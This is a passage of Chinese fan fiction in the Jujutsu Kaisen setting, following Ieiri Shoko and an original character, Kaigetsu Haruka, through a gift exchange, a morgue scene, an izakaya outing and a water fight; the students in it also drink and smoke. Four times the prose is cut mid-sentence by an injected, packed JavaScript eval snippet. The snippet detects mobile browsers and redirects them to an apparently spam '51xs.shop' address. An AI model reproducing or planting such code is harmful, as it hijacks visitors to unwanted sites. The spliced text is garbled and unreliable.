“因为我们是朋友。”看着她有些困惑的表情,家入硝子耐心地解释,“我送你东西,只是希望你能开心,并不想给你增添任何负担,更没想过要从你那里得到什么回报。” “但是朋友的话,就更需要回礼。”海月遥认真地反驳,“因为很重要,所以要更珍重地对待才行。” “如果马上回礼,别人可能会觉得你是在刻意保持距离,算是一种隐晦的拒绝。” 海月遥流露出“人类真麻烦”的神情。 她又一次将自己剔除了人籍。 “但硝子应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715311|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会这么想吧?”她依然坚持己见,“因为硝子和我是一类人。” 这不是她第一次对自己说出这句话。 我和这个电波系是同类吗?在遥的眼中,我究竟是怎样的形象?家入硝子试图给自己贴上相同的标签,却只觉得一阵恶寒。 “我觉得我们两个不太像。” “是吗?”海月遥不置可否。 回礼的小插曲就被两个人轻轻带过。 …… 直至深夜,家入硝子依旧没能入眠。 装睡的后遗症再次显现,她总会不自觉地留意四周的声响。 窗外,风起时树叶沙沙作响,声音时高时低,偶尔夹杂着一两声微弱的虫鸣。房间内,另一个人的呼吸声也清晰可闻,无法忽视。 那人十分安静,然而白天在医务室时,家入硝子还能偶尔忽略她的存在,到了晚上,却感觉她的存在感不断放大。即便那平稳的呼吸声并不明显,家入硝子的脑海中也始终回荡着一个声音: ——她就在那里。 辗转反侧,难以入眠。 直到细雨落下,勉强掩盖她的声音。雨声细腻如丝,连绵不断,恍若纠缠不清的情愫。 她心想,这下应该能睡着了吧?然而,没过多久,极低的、被压抑的咳嗽声便响起,在这寂静的空间里显得尤为突兀。 “冷吗?”家入硝子冷不丁地问道。 毕竟海月遥穿着单薄,又睡在地铺上。她之前就发现,这个人形大猩猩,实际上体质很弱,也容易生病。 海月遥十分坦诚:“有点。” “……那来床上睡吧。” 窸窸窣窣的声音响起,过会儿就有个冰凉的人形物体钻进被窝。 家入硝子打了个寒颤,正想下床,却被对方紧紧握住手腕:“硝子,你要去哪儿?” “我去地铺睡。” 她又不是那两个人渣,在明白自己对她有好感的前提下,怎么能心安理得地和这个一无所知的家伙躺在一个被窝里睡觉? “可这床能睡下两个人。” “哈哈~我可不想浪费你铺好的地铺。” 家入硝子话音刚落,海月遥便面无表情地走下床,将地铺踢得乱七八糟,然后又若无其事地钻回被窝。 家入硝子:? 她迟疑地问道:“……你在干什么?” “硝子,会感冒的。”她似乎相当认真。 可我觉得和你这个人形冰块睡一起更容易感冒。她咽下这句吐槽,毕竟现在连打地铺的选择都没了。 “你身上好冷。”家入硝子说着,悄悄地往床里侧挪了挪。 但那双微凉的手却迅速找到了她,紧紧搂住。她拥抱着自己,那股幽兰的香气扑鼻而来——这是海月遥刚收到礼物时喷的香水。 大海的水汽混合着白兰地的轻盈果香,家入硝子像是喝醉了,感到头脑有些晕沉。 她又埋在自己的颈肩,眩晕感更重了。 啊…… 好崩溃…… “我第一次和朋友一起睡。”这天真的家伙继续说着,语气比平时的冷淡还要欢快几分。 完了…… 现在更愧疚了…… 谁能来救救她…… 家入硝子睡不着。 25.硝线(五) 家入硝子和自己是同类人。 这是海月遥对她的印象。 这话要是让别人听了,一定会第一时间反驳,可海月遥就是这么认为。 …… “这次又要麻烦硝子了。” 一个记不清面容的女人满身伤痕地走进医务室,她笑声爽朗,引得原本安静看书的海月遥不禁转头望去。 映入眼帘的,却是一双宁静深邃的黑眸,与那笑声截然不同。那双眸中摇曳着玉兰花般的风情,令人陶醉。 漂亮的眼睛,海月遥心想。 那女人似乎没注意到海月遥,笑着走过来说:“原来还有个小妹妹呢。”说完,她轻轻揉了揉海月遥的头。 救命,大姐姐类型。 海月遥浑身僵硬。 家入硝子扫了那女子一眼,轻声说道:“既然伤还没治,就给我乖乖躺在床上。” 那女子闻言,笑着调侃:“哎呀,硝子不会吃醋了吧?我最爱你了呢~” “嗯嗯,知道了,谢谢。”硝子淡淡回应。 “好敷衍哦~” 女子笑着嘟囔一句。 她安静地躺在床上。 …… 她安静地躺在床上。 浑身是被咒灵撕扯的伤口,那双让海月遥记忆深刻的眼睛也没阖上,看来是死得时候太过仓促,连最基本的安息都成了奢望。 家入硝子精通反转术式,咒术界理所当然地将处理咒术师尸体的重任交给她。海月遥对咒术师的生理结构怀有浓厚兴趣,得知后也常常来协助。起初,家入硝子曾试图阻拦,但见海月遥无动于衷,便也作罢。 现在,海月遥有条不紊地戴上医用手套。当家入硝子伸手为死者合上双眼时,她才认出这是前几日曾来过医务室的女人。 啊,原来就死了。 她这样想,看向一旁的家入硝子。 家入硝子依旧保持着那份特有的平静,脸上不见悲伤或愤怒。她那双微微下垂的眼尾,总带着一种厌倦尘世的淡漠,此刻亦是如此。 整个处理过程,她始终波澜不惊。缝合、切割,冰冷的手术刀无情地剖开女子的大脑,她的手异常稳,没有丝毫的犹豫与迟疑。 要是让这女人的朋友见了她这份反应,会不会高声斥责她是无心的家伙呢?因为硝子和这个女人似乎也曾是朋友。 海月遥猜测着。 毕竟她自己也被这样指责过。 人们总认为她应该伤心欲绝、痛哭流涕,可当她没有如他们所愿时,便反过来指责她。但硝子大概也和她一样,不会在乎这些吧。 “硝子,不伤心吗?”处理完尸体后,她这样问道。家入硝子正脱下白大褂,准备离开停尸间。“我前几天还看到她和你打招呼。” 海月遥记得,当时家入硝子用一种复杂的眼神看了她一眼,然后轻描淡写地说:“人死如灯灭,伤心无用。” 看吧,海月遥心想,家入硝子果然和她是一类人。 …… 所以当夏油杰询问海月遥为何与家入硝子迅速成为朋友时,她这样回答: “因为硝子和我是一类人,我们两个很像。”她认真地解释。 “哦?是吗?”夏油杰笑着端详她,似乎想将她深深印在眼底,最后却说,“可我觉得你们并不像。” “真的吗?”海月遥疑惑地问。 “嗯。”夏油杰看着她沉思的模样,忍不住笑出声,轻拍她的头顶,“或许是因为,我总觉得小遥你是最特别的。” 海月遥认为这只是夏油杰纯粹的主观判断,并不可信,她仍坚持自己的看法。 然而后来,家入硝子本人也对她说:“我觉得我们两个不太像。” 为什么? 她们明明就是一类人。 同样的冷静,同样的理智,隔岸观火般地看着所有人的悲欢喜怒。 海月遥这才对观察家入硝子上了心。 …… 又一次处理完咒术师的尸体后,家入硝子看到海月遥站在原地发呆,于是提醒她:“已经处理好了,我们先出去吧。” 见她毫无反应,家入硝子追问:“你在想什么呢?” “我在想,如果躺在那里的是我,硝子会怎么做?”海月遥侧头看向一脸平静的家入硝子。 “你是认真的吗?” “1。” “那我可能会先从肺开始处理。” “因为波纹呼吸?” “对。接着我会处理你的大脑,特别是前额叶那部分……”家入硝子用平淡的语调阐述着自己的处理方式。 海月遥听得入神,眼中闪着光。 她想,如果死后尸体能交给硝子处理就好了。如果是硝子,一定能充分发挥它的价值。 她也这样说了。 “诶——别给我增加工作量了啦~” 家入硝子边脱去白大褂边抱怨。完成消毒等一系列工作后,她路过海月遥时,罕见地越界捏了捏她的脸:“……我不希望有这一天。” 海月遥不明所以。 “如果你死了,我会有点寂寞。” 家入硝子眼眸低垂,纯粹的棕色在睫毛投射的阴翳下,澄净宛如琥珀。说这话时,她只是平静至极的表情。 海月遥这才恍然大悟:如果她不在了,医务室就会少了一位常客,也就没有人去陪那个总是独自一人的硝子了。 她又会变成孤身一人。 这点硝子倒是和她不一样,她更喜欢一个人呆着。但没办法。毕竟是自己第二个朋友,那还是多陪陪她吧。海月遥想。 家入硝子从未意识到,海月遥频繁造访医务室的真正原因,并非为了反转术式,也不是为了那些她未曾看过的书,仅仅是因为她那句简简单单的“我会有点寂寞”。 …… 可能是她去找硝子太过频繁,以至于有一天夏油杰突然半开玩笑地对她说:“我有点嫉妒硝子了。” “为什么?” “小遥,你可没这么频繁地主动找过我。” 啊,她明白。朋友间也会存在占有欲。就像每次庵前辈揽着硝子肩膀大口喝酒闲聊时,她也会感到不舒服。 因为同性身份,她能比杰和五条君更接近硝子;同样,庵前辈也因为是同性而能无所顾忌地拥抱硝子,嗅到她身上那股淡淡的苦涩烟草味。 但此刻,杰的想法更为重要。毕竟,他是她最重要的朋友。于是,海月遥详细地向他复述了那天在停尸间的对话。 说完,她看见自己的幼驯染露出了“硝子也很辛苦”的表情。他像那天硝子做的那样,双手按住她的脸侧,轻轻地揉搓起来,语气不明地说:“小遥,以后别这么说了。” “嗷。”脸颊被挤压,说话变得困难,但她仍追问,“为什么?” “听到这句话,无论是我还是别人,都会感到难过。”夏油杰耐心解释。 “可那只是假设?” “即使是假设。” 为什么会因为一句无凭无据的话而难过?她不是好端端地站在他们面前吗? “我不明白。” 知道她一向以自我为中心,夏油杰决定让她设身处地地想一想:“如果有一天,小遥看到我的尸体,你会有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721312|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受?” 如果是杰或者硝子死掉的话…… “我会寂寞的。”她回答道。 即便她更喜欢独处,但没有他们的话,果然还是觉得寂寞。 “这就是原因。” 海月遥若有所思地点点头,接着问道:“杰,朋友间也会相互嫉妒吗?” 夏油杰回想起自己之前那句冲动的怨言,尴尬地轻咳了一声。因为喜欢的女孩与她的同性朋友亲近,就说出不经思考的醋话,确实有些过分。但他还是肯定地回答:“会的。” “硝子和庵前辈的关系比跟我还亲密,这让我很不舒服。”海月遥向擅长人际交往的青梅竹马寻求建议,“我把硝子放在第二位,可是在她那边我却排不上号,这不公平。” “但这很正常,感情本来就不是公平交易。如果小遥不舒服的话,你要么远离硝子……”他的话还没说完,就对上自己青梅不赞同的目光,顿了顿,忍不住笑着说道,“要么你就想办法让自己在她那边的排名上升。” 海月遥点点头。 “……顺便我能问一下谁是第一位吗?” “你。”她毫不犹豫地回答,注意到自己青梅竹马的脸颊逐渐泛红。他随后似乎信心倍增,甚至有些得寸进尺地问道:“我朋友也很多,怎么小遥就不嫉妒呢?” 为什么?明明自高专以来,杰与她相处的时间比与五条君还少,但她却无动于衷…… 真奇怪。 海月遥最终找到了一个看似合理的解释:“杰很出色,喜欢你再正常不过。再说,在杰心里,我也是第一的吧。” 既然他们都是彼此的首选,自然就不会嫉妒了。 夏油杰开始语无伦次:“啊……这样啊……嗯,对……你是第一……” 他捂着羞红的脸重复道:“小遥是第一……” …… 所以应该怎么让自己在硝子那里的排名上升呢? 海月遥开始求助网络和各类书籍。 最后,她做了一瓶可做香水的除味剂给家入硝子。既然硝子喜欢抽烟的话,那就会频繁地用她送的礼物,这样就会时不时想起她。 她还选择了最喜欢的橘子味香气!这样硝子身上的味道就是她最喜欢的味道。 自己真是个天才! 海月遥还特意叮嘱家入硝子:“喷了后可以向她们炫耀。”这样庵前辈和冥前辈就知道,这是她的硝子了。 家入硝子似乎也明白了她的意思,没有拒绝,而是顺从地点了点头:“我明白了。” 海月遥很得意。 …… 过了一段时间,她觉得和硝子的关系还得更亲密些。看到漫画里的女子夜谈会后,她决定和自己唯一的女性朋友家入硝子也办一场。 海月遥为此做足了准备。 ——她白天睡了整整一个下午。 这样晚上聊天的时候就不会困了,能够保持清醒的头脑流利地接下每一个话题。 硝子,折服在她天才的大脑下吧! ——某人完全没考虑过家入硝子会不会困。 她还从人文、自然和社会科学中精选了数百个热门议题和经典案例,以备不时之需。 考虑到漫画中的女子夜谈会常涉及恋爱话题,她根据网上的恋爱问题搜索指数,整理了一份清单。 一切准备就绪,她抱着枕头,满怀期待地敲响家入硝子的门。她如愿以偿地进门,如愿以偿地聊天。最后,她故意咳嗽两声,顺利地躺上了家入硝子的床。 这下硝子会更喜欢我了吧? 半夜,她抱着闭眼装睡的家入硝子想。 26.硝线(六) “硝子,你看我是不是又长高了——” 海月遥溜进医务室,恰好与正欲出门的家入硝子相撞。风吹开她的刘海,光洁的额头触碰到了什么柔软的东西。 家入硝子还没来得及说什么,就见平日里总是半垂着眼眸、显得有些疏离的少女,此刻却罕见地瞪大了那双溜圆的猫眼,透亮的蓝眸中闪烁着如水波般粼粼的光。她仰头望着自己,呆呆地捂着额头,不知道在想什么。 家入硝子轻笑一声,慢条斯理地从她衣兜里掏出她从不离身的卷尺,趁她愣神之际,给她量完身高。 她平淡而温和地肯定:“嗯,159.6cm,确实长高了些。” 还回卷尺,顺手拍了拍仍在呆立中的海月遥的头,对方顺着她的动作,一顿一顿地点了起头。 “硝子刚刚亲了我。”她终于从呆滞中回神,神情凝重地开口。 “不小心碰到啦,原谅我吧~”家入硝子双手合十,做出一副虔诚的忏悔样,眼底却漾着琥珀色的笑意,一如蜜糖般黏稠的流金。 她有时咬字慢而黏,显得有些懒洋洋的,提不起力气,就像是一团晒太阳的猫。 海月遥眨眨眼:“哦。” 她心底有种奇妙的感觉,就像是橘子汽水的气泡在舌尖上跳舞。 飘忽忽的。 “那我可以亲回去吗?”她继续问道。“这样才公平。” 家入硝子一时愣住,但很快恢复过来,笑着说:“那当然是不行的呀。” 这一年多来,她已经认清了海月遥的真实面貌:一个毫无自觉、毫无边界感的电波女。 这个漂亮的家伙像只黑猫,总是胡思乱想,不顾别人感受,在心弦上顽皮地漫步,累了就趴下,自得地喵喵几声,再用柔软的尾巴扫过你的下巴,当你被勾起兴趣时,又毫不在意地跃开。 猫可不管人类怎么想。 但太可爱了,没办法,只好原谅了。 “你来是有什么事吗?”家入硝子转移了话题,不想给这个好奇心旺盛的家伙任何追问的机会。她顺势让开,让对方能走进医务室。 “我长高了。”“嗯,看出来了。”“比日本女生的平均身高还要高。”“那确实挺不错的。” “所以,我们一起去居酒屋喝酒。”海月遥终于说出她的目的,“我还没去过,好奇。” 家入硝子站在她面前,上下打量一番,然后说:“大概不行。” “为什么?我的长相不是那种显幼的类型。” “但还是能看出来是个学生。” 海月遥突然抓起她的手,放在自己的胸脯上:“你看,我也发育了。” 啊……救命…… 这突如其来的举动让家入硝子不知所措。她感受到了手下的柔软,一时之间不知道该做出什么反应。“……可能是你的打扮问题吧。”她决定跳过这个话题。 “那我们明天打扮得成熟点,混进去。” 再拒绝下去也不知道她会做出什么来。于是,家入硝子最后轻声应道:“嗯,好吧。” …… 等家入硝子下楼时,海月遥正和一旁的夏油杰闲聊。刚听到她的脚步声,那恶劣的家伙就撇下夏油杰,潋滟蓝瞳一流转,轻唤一声: “硝子。” 她的声线偏冷,说话间,像是风吹过,门上的风铃清脆一声“叮铃”响。 家入硝子忍不住露出淡淡的笑容。 “硝子今天还化了妆呀,明明平常就足够漂亮了。”夏油杰也适时开口。 客套话。家入硝子漫不经心地点点头。 甚至海月遥的反应都比她大。 这人的视线在夏油杰和家入硝子之间徘徊,最终迈开一步,走到两人中间,试图挡住夏油杰看向家入硝子的视线。 好明显的吃醋。 至少这一男一女同时意识到这一点。 “怎么了,小遥?”夏油杰低头看着海月遥,语气中多了一分情意和缱绻。 海月遥面无表情地沉思片刻,似乎在寻找合适的说法。终于,她缓缓开口:“……杰刚刚都没有夸我。” 家入硝子兴致缺缺地移开眼。 “小遥的话……”他慢悠悠地停顿了一下,待海月遥有些不耐烦时才继续开口:“和平常一样都超级可爱。”他故意拖长了音调,“不过今天的打扮衬得小遥更成熟了,或许用漂亮形容才更加贴切吧。” “就像脖子上的颈环一样,第一眼就注意到了你精致的锁骨。” “硝子送我的。”她忍不住说道,语气中带着一丝炫耀,“我还喷了硝子送的香水。” “难怪今天你走过来时我就嗅到了清透的香气。”夏油杰配合地露出惊叹的表情,“果然还是女孩子了解女孩子。硝子挑得很适合你,关系真好啊,我都要嫉妒了。” 不知道是哪句话戳到了海月遥,她脸上依旧没有什么表情,但熟悉她的二人都能感觉到她心情好了不少。 而家入硝子却感觉愈发烦闷了,她就像是一颗秋日里没来得及收获的果实,从树上重重地砸下,摔成一摊烂泥,最终逐渐腐败。 她讨厌夏油杰的那句“你们关系真好”。 她不认可,可她甚至无法成为情敌。 “小遥跟我说你们要一起出去玩。”夏油杰看向家入硝子,露出“拜托你了”的神情,“玩得开心点哦。” 啊啊……又是这副大家长的样子,无形之中把遥归在自己的范围内,就好像除了他以外,其他人对遥来说都是外人一样。 明明他也只是个朋友身份罢了,只不过占了青梅竹马这个名号的便宜。 家入硝子双手按在背对着她的海月遥肩上,待她转头过来才开口:“只是可爱可不够。” “还有点时间……” 她从随身包里掏出一支口红,用纸轻轻擦去顶层,细心地为海月遥苍白的唇瓣上色。 “别动。” 家入硝子轻声提醒,并用指腹轻柔晕染,使口红颜色更显自然。她端详着自己的作品,满意地点头:“这样就好多了。” 说完,她用纸拭去指尖上残留的红色。 一旁的夏油杰露出古怪的表情,但看到两人自然的神态,又开始反省自己是否想太多。 回想以前,他还在普通学校时就人缘颇好,也经常看见有些关系好的女生牵手搂抱,传阅着同一本书,纸巾和彩色头绳不分你我,水乳和唇釉也是随意乱借。她们甚至不介意唇釉曾在彼此的唇上停留,就那样自然地涂抹在自己的嘴唇上,同时聊着感兴趣的话题。 相比之下,硝子还算有分寸,至少会擦去自己用过的部分。 想着海月遥十分宝贵她的第二个朋友,夏油杰不打算让自己的嫉妒心毁了她的好心情。 “那我就不打扰你们了。”他眯眼笑道。临走前,他轻轻拍了拍海月遥的发顶,小心翼翼地不破坏她精心打理过的发型,“玩得开心~” 在他背过身时,家入硝子冷淡地扫过他的背影。 就这么对她放心吗?夏油。 …… “现在去居酒屋会不会太早了点?” 家入硝子抬眼看了看天色,下午的阳光还斜斜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725591|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挂在天边,离夜色的降临还有一段不短的时间。秋风瑟瑟,她紧了紧身上的大衣,目光不由自主地落在了海月遥身上。 她穿着领口较低的长裙,很好地展示出漂亮的锁骨,以及脖颈上那条亮面choker。 “冷吗?”家入硝子随口问道。 海月遥似乎会错了意,想要脱下外套给她,家入硝子无奈阻止。 “我不冷,别这样。”她轻叹,“要不我们先去商场逛逛,等天黑了再去居酒屋。”这样也不至于站在室外吹冷风。 “1。” 来到商场,自然不是找个咖啡馆坐下空耗一个下午,家入硝子吸了口暖乎乎的红豆奶茶,问道:“有什么想要的东西吗?” “0。” 这人怎么就不能好好说话? “要不你去挑个发饰?”家入硝子提议,“你头上那个有点氧化了。”见海月遥摸着侧边的发夹,她宽慰道:“但也不是很明显。” “这个是杰以前送我的。” 难怪她总见遥戴着这个…… “不过仔细看好像还有点划痕,还是换新的吧。”家入硝子近看后补充,“而且这款有点幼稚,你长高后不太适合了。” “是吗?” “是。那边就有一家,我们进去看看。”她看着海月遥摘下头上的发夹,笑容真切几分,“你懒得选的话,我帮你挑。” “1。” …… 比起那些普遍流行的款式,海月遥其实更喜欢那些奇奇怪怪的饰品。当然,是做收藏用。但这次的目的是为了找适合日常佩戴的,所以她就随意挑了个顺眼的。 “就它了。”海月遥懒得挑,准备敷衍了事,可又念及家入硝子刚刚说要帮她挑,还是勉为其难地问道,“硝子觉得怎么样?” “我看看。” 家入硝子接过她手中的发饰,轻柔地替她别好那侧略显长的发丝。她眷恋地将那些不听话的碎发拨到耳后,露出那白玉般的耳轮。家入硝子往后退了一小步,仔细地打量一番,叮嘱道:“你别乱动,就这样保持着。” 海月遥听话地站在原地,一动不动地抬眼看向她,但等了一会儿都没得到家入硝子的反馈。她轻声提醒:“硝子?” “很漂亮。”家入硝子这才回神,轻笑道,“非常漂亮……” 她笑时,眼底的泪痣似乎也被点亮,随之微微晃动,愈发引人注目起来。 “对了,我们再看看别的。”她不待海月遥追问,轻盈地转身,看向其他地方。 这个下午,家入硝子带着海月遥,把她从上到下所有夏油杰留下的痕迹全部替换掉。 …… 结果晚上作战没有成功。 “为什么不让我们进去?” 直到回去的路上,海月遥还在抱怨。 哪怕伪装得十分完美(她自认为),却还是被要求看证件了。最后她们一人一杯草莓奶昔,和一盘炸物小食。 在居酒屋喝宝宝奶昔。 这一天,也算是值得记录史册了。 当家入硝子准备道别回房时,海月遥拉住她:“这么晚了,硝子一个人回去,我不甘心。” “就在隔壁,而且这里是高专,不会有什么危……” 等等,甘心? 趁她愣神,海月遥已将她拉进房间。海月遥拿出珍藏的酒水,一副不醉不归的架势。接着,她又闯进家入硝子的宿舍,因为自己的小客厅堆满杂物,实在无处落脚。 啊……酒鬼同期真麻烦…… 同样的酒鬼·家入硝子这样想到。 27.硝线(七) 酒或许是个好东西,至少在微凉的秋夜,能很好地暖身。渐渐地,两人都脱下了厚实的外套。这时,家入硝子注意到海月遥里面穿的是吊带长裙。 她们的外套厚度相仿,这样的天气,连家入硝子自己都觉得有些冷。遥真的没问题吗? “遥,再找件薄一点的衣服披上吧?”家入硝子浅浅喝下半杯生啤,伸手抚上她光裸的手臂。和她预想的那样,像是一段光滑而冰冷的绸缎。侧头看去,海月遥的脸庞依旧苍白,灯光下宛若深海中的透明水母。 海月遥也没挣扎,随意在家入硝子房间里找了条薄毯披上,就算是保暖。 等她回到小客厅时,家入硝子已经点燃一根烟,烟雾缭绕间,她眼下那粒泪痣却清晰可见,随着她侧头的动作摇晃,为她增添了几分慵懒的风情。 她夹着烟的手指轻轻晃动,指间的点点猩红在昏暗的灯光下闪烁。 “不介意我抽一根吧?” 她问道,虽然在这句话出口之前,她已经点燃了烟。 “随便。” 听了她的话,家入硝子似乎笑了笑,但那笑容过于朦胧、浅淡,让人不禁怀疑是否只是一瞬间的错觉。 海月遥坐回她身边,给自己又斟了一杯酒,若有所思地看着家入硝子随手放在桌子上的烟盒。 “为什么硝子喜欢抽烟?”她突然问道。 家入硝子吸了口烟,吐出一串烟圈,才随意地找了个借口:“放空大脑吧?挺自在的。” 海月遥似乎对她的回答并不满意。她伸手探向桌子上的香烟,抽出一根,仔细地打量着。她的眼神专注而认真,就好似她手中的不是一根烟,而是什么……细菌培养皿? 然后,她含着烟蒂,凑了上去。 第一次没对准,她便夹着烟,耐心地、缓缓地凑近。她的烟头吻上家入硝子已燃了接近一半以上的烟。 轻微到难以捕捉的“哧”声,橙色的跃动的火星在烟叶上星星点点地蔓延。不亮的室内,两人的影子重合在一起。 家入硝子只觉得身上凉的凉,烫的烫,不知道是酒精还是尼古丁在作祟,她的头脑开始有些晕沉。 她抬眼看向突发奇想的海月遥,这个新手倒还不会抽烟,被呛了好几口,连连咳嗽。 淡白的烟雾被她吸进去,浅浅地在舌头和口腔间滚了一遭,就被急匆匆地吐了出来。 家入硝子都不知道是该心疼自己的好烟,还是该谴责那些不懂得慢慢品味的烟雾。 ——它们应该顺着遥的舌往下,在她的体内弥漫开来,不断膨胀、充盈,直到她的大脑被尼古丁刺激得晕晕乎乎,陷入一种迷幻的状态时,再心满意足地从那姣好的唇中悄悄溜出。 “不是这么抽的。”家入硝子轻轻拍了拍她的后背,等她咳嗽声渐止后,才一手夹着烟,漫不经心地打量着她的神情。“跟着我说的做……” “先浅浅吸一口,含住,对,做得很棒……然后再吸一口空气……最后吐出来……” 直直的烟雾从她的唇齿间逸出,扑洒在家入硝子清丽的脸上,但她却没有丝毫后退的意思,只是饶有兴趣地看着海月遥跟着她的指示,吞下那青白色的烟雾,又缓缓地呼出。 或许是受到烟的影响,海月遥原本上挑的眼尾弧度开始下压,眉目变得越发迷蒙起来。 “硝子……我有点晕……” 她眼底还因为刚才的剧烈咳嗽,闪着湿漉漉的光,眼尾带着一抹红晕,像只晒太阳的猫,懒洋洋地趴在桌子上。 “刚开始就抽过肺,确实可能会有点晕的,没关系。”家入硝子轻声安慰,同时从她手中接过那支未燃尽的烟。她熟练地衔在口中,深吸一口,再缓缓呼出。烟雾再次弥漫。 她原先的那根烟早已燃尽,被摁灭后放入便携烟灰盒。 不知道为什么,她想起了海月遥以前的样子,她总是习惯性地咬吸管,躲在角落一言不发地喝着汽水。现在,就连她抽过的烟嘴上,也残留着齿印和一点点濡湿的痕迹。 家入硝子垂下眼眸,琥珀棕的瞳孔瞥向桌上那位苍白而倦怠的少女。她似乎已从晕烟的状态中缓缓恢复,若有所思地开口:“刚才的感觉,和昨天很像。” “嗯?” “就是昨天硝子亲我的时候。” “那只是不小心碰到额头,不算亲吻。”家入硝子澄清道。 “那硝子,你能真的亲我一下吗?”海月遥神情严肃,“我想再次感受那种晕乎乎的感觉。” 她知道自己到底在说什么吗? 家入硝子叹了口气,轻轻拨开她的刘海,在她的额头上轻轻印上一吻。 “满足了吗?” 海月遥愣愣地捂住额头,感觉有什么在心底像气球一样,逐渐膨胀。 家入硝子不管还在愣神的海月遥,平静地宣布道:“我要戒烟了。” 她回过神,坐直,抬眼问:“为什么?” “嗯……歌姬前辈也多次劝过我戒烟。” “但硝子抽烟并不伤身吧?” “确实如此……不过,在外面抽烟总是不太好。”她说了个自己也不太信的借口。 “骗人。”果不其然,海月遥立刻反驳,“硝子根本不在乎这些。” 家入硝子轻笑:“哈哈,我也会偶尔顾及他人的目光嘛~” 海月遥面无表情地注视着她,那双蓝眸仿佛能洞穿一切谎言,她再次断言:“骗人。” “所以硝子是要为了歌姬前辈戒烟吗?”她站起身,低头问道。 “不是。” “那为了什么?” “秘密哟。”家入硝子慢吞吞地说着。 “是吗?”海月遥听后没再追问,而是转身向外走去。 “生气了?” “0。” 海月遥说着走出门,等她回来时,便随手将东西扔给家入硝子,准确地落进她怀里。 那是……打火机? “这是礼物。” 送想要戒烟的人打火机?家入硝子不知道这家伙到底是怎么想的。 “硝子试试用它点烟。”海月遥迫不及待地催促道。“快试试,快试试。” 遥少见地兴奋,果然不是什么好东西吧?家入硝子这么想着,却还是依照着她的话点烟。毕竟刚才已经拒绝回答她的问题了。 嗯,拆屋效应。家入硝子感觉自己的思维方式渐渐被对面那家伙传染了。 她心不在焉地打燃打火机,突然,一股清凉的水流喷出,直接溅了她一脸。水珠顺着她流畅的脸部曲线滑下,打湿的额发也黏在白皙的肌肤上。 家入硝子平静地抬头看向罪魁祸首。 “这样硝子就能戒烟了。”那家伙得意地走来,坐下,仿佛自己是个大功臣。 硝子不戒烟就会用她的喷雾,戒烟就会用她的打火机。海月遥满意地想。 但下一刻,她也被家入硝子喷了一脸水。 海月遥神情一凝,迅速抽出准备好的打火机型水枪,立刻反击! 家入硝子怀疑这小小的打火机里哪来这么多水,猜测这可能是海月遥随手制作的咒具。毕竟,她总喜欢捣鼓新奇玩意儿。 就这样,两个平时成熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729382|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静的人在狭小的房间里开始了水仗。 直到最后,两人都像落汤鸡,湿漉漉的头发粘在苍白的脸颊上,水滴从脖颈滑落,消失在衣领中。 但她们毫不在意,互相嘲笑对方的狼狈。 “哈哈,真受不了你~”家入硝子笑着,原本清秀昳丽的五官更加熠熠生辉,平时的淡漠之感一扫而空,取而代之的是一种难以言喻的明艳与生动。“多大的人了……” “硝子身上更湿,是我赢了。”海月遥神情还是淡淡的,眼角却藏着笑意。 “那就算你的胜利吧,真了不起。” 海月遥眨眨眼,看向笑着的家入硝子:“硝子——” 窗外突然传来了一声震耳欲聋的巨响,紧接着又是一阵剧烈的震动。 “打起来了。”家入硝子早已见怪不怪,她那两个人渣同期武德充沛,外加上性格都含有尖锐的一面,时不时会大打出手。“夜蛾老师绝对会骂他们的。” “那两个——”家入硝子调侃的话还没说完,室内就忽然暗了下去。 一片漆黑。 “这次似乎真的闹大了……”家入硝子轻声嘀咕,声音在寂静的黑暗中清晰可闻,“起码得写一万字检讨吧。” 她随手摆弄着打火机,橙蓝色的火光在出火口跳跃,映照出两人平静的脸庞。 海月遥难得地沉默,她转头看向家入硝子,白皙的面容在昏暗的房间里若隐若现。 “怎么了?”家入硝子问。 海月遥刚想说什么,又打了个喷嚏。 “去换衣服吧,别着凉了。”家入硝子拍拍她,叮嘱道。 海月遥顺从地站起身,摸索着出门,去家入硝子的卧室找衣柜。 